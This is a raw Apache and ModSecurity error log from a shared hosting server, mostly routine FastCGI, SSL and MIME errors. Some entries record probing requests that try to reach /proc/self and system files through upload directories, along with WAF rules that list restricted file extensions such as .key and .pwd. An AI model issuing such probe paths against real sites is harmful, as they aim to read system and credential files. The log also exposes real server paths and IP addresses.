[Fri Jul 17 10:16:59.721597 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:43096] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:59.756355 2026] [proxy_fcgi:error] [pid 2065293:tid 2065293] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:59.918858 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:00.087103 2026] [proxy_fcgi:error] [pid 2070774:tid 2070774] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:00.447630 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:43176] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:17:00.635598 2026] [proxy_fcgi:error] [pid 2065297:tid 2065297] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:00.706634 2026] [autoindex:error] [pid 2039911:tid 2039911] [client 20.46.252.52:0] AH01276: Cannot serve directory /home/tradeceylon/public_html/public/uploads/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:17:00.796215 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:00.961151 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:01.627962 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:01.807351 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:01.996182 2026] [proxy_fcgi:error] [pid 2070772:tid 2070772] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:02.165748 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:02.329712 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:02.768586 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:02.952607 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:03.115658 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:03.294700 2026] [proxy_fcgi:error] [pid 2063883:tid 2063883] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:03.500168 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:03.663726 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:03.825526 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:04.186717 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:56340] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:17:04.608845 2026] [proxy_fcgi:error] [pid 2065297:tid 2065297] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:05.377431 2026] [proxy_fcgi:error] [pid 2070772:tid 2070772] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:06.136627 2026] [security2:error] [pid 2063441:tid 2063441] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almzytKHXJzatLSGO6IumAAAABU"]
[Fri Jul 17 10:17:06.137700 2026] [security2:error] [pid 2063441:tid 2063441] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almzytKHXJzatLSGO6IumAAAABU"]
[Fri Jul 17 10:17:06.138021 2026] [security2:error] [pid 2063441:tid 2063441] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almzytKHXJzatLSGO6IumAAAABU"]
[Fri Jul 17 10:17:06.645842 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:06.653267 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:06.810242 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:06.974080 2026] [proxy_fcgi:error] [pid 2065297:tid 2065297] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:07.159876 2026] [proxy_fcgi:error] [pid 2063889:tid 2063889] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:07.160441 2026] [security2:error] [pid 2063889:tid 2063889] [client 191.239.249.183:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/gnetuniversals-global": Permission denied [hostname "gnetuniversals.com"] [uri "/export.php"] [unique_id "almzy-m5CUZD8nfUE72xIAAAAAo"]
[Fri Jul 17 10:17:07.160472 2026] [security2:error] [pid 2063889:tid 2063889] [client 191.239.249.183:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/gnetuniversals-ip": Permission denied [hostname "gnetuniversals.com"] [uri "/export.php"] [unique_id "almzy-m5CUZD8nfUE72xIAAAAAo"]
[Fri Jul 17 10:17:07.320873 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:07.483723 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:08.399541 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:08.438918 2026] [ssl:error] [pid 2068143:tid 2068143] (70014)End of file found: [client 66.85.158.91:56568] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:17:08.562645 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:08.616123 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:56596] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:17:08.724372 2026] [proxy_fcgi:error] [pid 2070772:tid 2070772] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:09.867879 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:09.924731 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:09.978688 2026] [ssl:error] [pid 2070772:tid 2070772] (70014)End of file found: [client 66.85.158.91:56672] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:17:10.015369 2026] [proxy_fcgi:error] [pid 2063883:tid 2063883] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:10.214686 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:10.403568 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:10.607911 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:10.777384 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:10.955000 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:11.132889 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:11.296081 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:11.455326 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:11.616585 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:17:11.828546 2026] [ssl:error] [pid 2064883:tid 2064883] (5)Input/output error: [client 66.85.158.91:44970] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:17:12.652885 2026] [security2:error] [pid 2034024:tid 2034024] [client 80.241.220.98:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-global": Permission denied [hostname "colourmarklabels.com"] [uri "/wp-includes/robots-template.php"] [unique_id "almz0I-0g_VSPeIeFN3OcwAAAAs"], referer: binance.com
[Fri Jul 17 10:17:12.652931 2026] [security2:error] [pid 2034024:tid 2034024] [client 80.241.220.98:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-ip": Permission denied [hostname "colourmarklabels.com"] [uri "/wp-includes/robots-template.php"] [unique_id "almz0I-0g_VSPeIeFN3OcwAAAAs"], referer: binance.com
[Fri Jul 17 10:17:13.019374 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:45014] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:17:13.756020 2026] [security2:error] [pid 2065293:tid 2065293] [client 47.128.48.16:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/var/named/happypuppyvet.com.db"] [unique_id "almz0XqWRBnLzLzgwXg1MgAAAAQ"]
[Fri Jul 17 10:17:13.756560 2026] [security2:error] [pid 2065293:tid 2065293] [client 47.128.48.16:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/var/named/happypuppyvet.com.db"] [unique_id "almz0XqWRBnLzLzgwXg1MgAAAAQ"]
[Fri Jul 17 10:17:13.756692 2026] [core:error] [pid 2065293:tid 2065293] (13)Permission denied: [client 47.128.48.16:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/named/happypuppyvet.com.db
[Fri Jul 17 10:17:13.757238 2026] [security2:error] [pid 2065293:tid 2065293] [client 47.128.48.16:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/var/named/happypuppyvet.com.db"] [unique_id "almz0XqWRBnLzLzgwXg1MgAAAAQ"]
[Fri Jul 17 10:17:14.095275 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:14.332748 2026] [mime:warn] [pid 2068138:tid 2068138] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:14.915198 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:45112] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:17:15.392146 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:16.320865 2026] [core:error] [pid 2063895:tid 2063895] (13)Permission denied: [client 57.141.18.54:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory95/subsystem/devices/memory143/node0/memory97/subsystem/uevent
[Fri Jul 17 10:17:17.067777 2026] [security2:error] [pid 2063442:tid 2063442] [client 61.245.169.168:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-global": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/rs-plugin/js/extensions/revolution.extension.video.min.js"] [unique_id "almz1aTW5eFi1WFCzw0YhAAAABc"], referer: https://www.nccp.health.gov.lk/en/cedc
[Fri Jul 17 10:17:17.067815 2026] [security2:error] [pid 2063442:tid 2063442] [client 61.245.169.168:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-ip": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/rs-plugin/js/extensions/revolution.extension.video.min.js"] [unique_id "almz1aTW5eFi1WFCzw0YhAAAABc"], referer: https://www.nccp.health.gov.lk/en/cedc
[Fri Jul 17 10:17:19.483768 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 57.141.18.90:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/node/devices/node0/memory137/node0/cpu3/driver/unbind
[Fri Jul 17 10:17:21.308735 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:39556] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:17:21.345442 2026] [core:error] [pid 2063883:tid 2063883] (13)Permission denied: [client 47.82.14.71:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:50/subsystem/ttyS0/device/driver/uevent
[Fri Jul 17 10:17:21.349395 2026] [mime:warn] [pid 2070772:tid 2070772] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:22.774991 2026] [ssl:error] [pid 2070772:tid 2070772] (70014)End of file found: [client 66.85.158.91:39644] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:17:24.149771 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:24.156285 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:24.157491 2026] [security2:error] [pid 2065296:tid 2065296] [client 47.79.51.118:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:53/subsystem/ttyS0/subsystem/tty54/"] [unique_id "almz3KalZQB2GOvLY17eQAAAAAc"]
[Fri Jul 17 10:17:24.157515 2026] [security2:error] [pid 2065296:tid 2065296] [client 47.79.51.118:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:53/subsystem/ttyS0/subsystem/tty54/"] [unique_id "almz3KalZQB2GOvLY17eQAAAAAc"]
[Fri Jul 17 10:17:24.689772 2026] [security2:error] [pid 2065297:tid 2065297] [client 80.241.220.98:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-global": Permission denied [hostname "colourmarklabels.com"] [uri "/wp-includes/style-engine.php"] [unique_id "almz3IQPslXM9Iu5soRtYQAAAAg"], referer: binance.com
[Fri Jul 17 10:17:24.689803 2026] [security2:error] [pid 2065297:tid 2065297] [client 80.241.220.98:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-ip": Permission denied [hostname "colourmarklabels.com"] [uri "/wp-includes/style-engine.php"] [unique_id "almz3IQPslXM9Iu5soRtYQAAAAg"], referer: binance.com
[Fri Jul 17 10:17:26.998730 2026] [security2:error] [pid 2065297:tid 2065297] [client 57.141.18.97:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory22/node0/memory0/subsystem/devices/memory21/subsystem/devices/memory67/"] [unique_id "almz3oQPslXM9Iu5soRtYgAAAAg"]
[Fri Jul 17 10:17:26.998770 2026] [security2:error] [pid 2065297:tid 2065297] [client 57.141.18.97:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory22/node0/memory0/subsystem/devices/memory21/subsystem/devices/memory67/"] [unique_id "almz3oQPslXM9Iu5soRtYgAAAAg"]
[Fri Jul 17 10:17:27.586361 2026] [ssl:error] [pid 2065296:tid 2065296] (70014)End of file found: [client 66.85.158.91:39882] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:17:27.994008 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:28.059464 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:28.477388 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:29.313302 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almz4VCBpfuYyhJ140vhGwAAAB4"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:17:29.313342 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almz4VCBpfuYyhJ140vhGwAAAB4"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:17:29.819544 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:29.840094 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:33.472956 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:33.740524 2026] [security2:error] [pid 2060590:tid 2060590] [client 146.190.134.221:39262] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/"] [unique_id "almz5Xv42nOn2tp5Eua3sAAAABA"]
[Fri Jul 17 10:17:33.829962 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:33.830032 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:33.830270 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:33.830301 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:33.830332 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:33.830364 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:33.830389 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:33.830406 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:33.830425 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:33.830454 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:33.830474 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:33.830495 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:33.830513 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:33.830530 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:33.830620 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:35.066058 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:52502] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:17:36.391449 2026] [security2:error] [pid 2065296:tid 2065296] [client 94.154.43.102:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/"] [unique_id "almz6KalZQB2GOvLY17eRAAAAAc"]
[Fri Jul 17 10:17:36.588262 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:52594] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:17:37.205553 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:52606] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:17:37.765202 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:52620] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:17:38.103393 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:52668] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:17:39.593042 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:39.602692 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:40.237996 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:40.255547 2026] [security2:error] [pid 2070772:tid 2070772] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almz6zdaQZ1lgvSnnieJXwAAAAM"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1106&page_105=1250
[Fri Jul 17 10:17:40.255576 2026] [security2:error] [pid 2070772:tid 2070772] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almz6zdaQZ1lgvSnnieJXwAAAAM"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1106&page_105=1250
[Fri Jul 17 10:17:40.397488 2026] [mime:warn] [pid 2068138:tid 2068138] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:17:42.568635 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:57152] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:17:42.612310 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:57178] AH02013: coalesce failed to read from data bucket
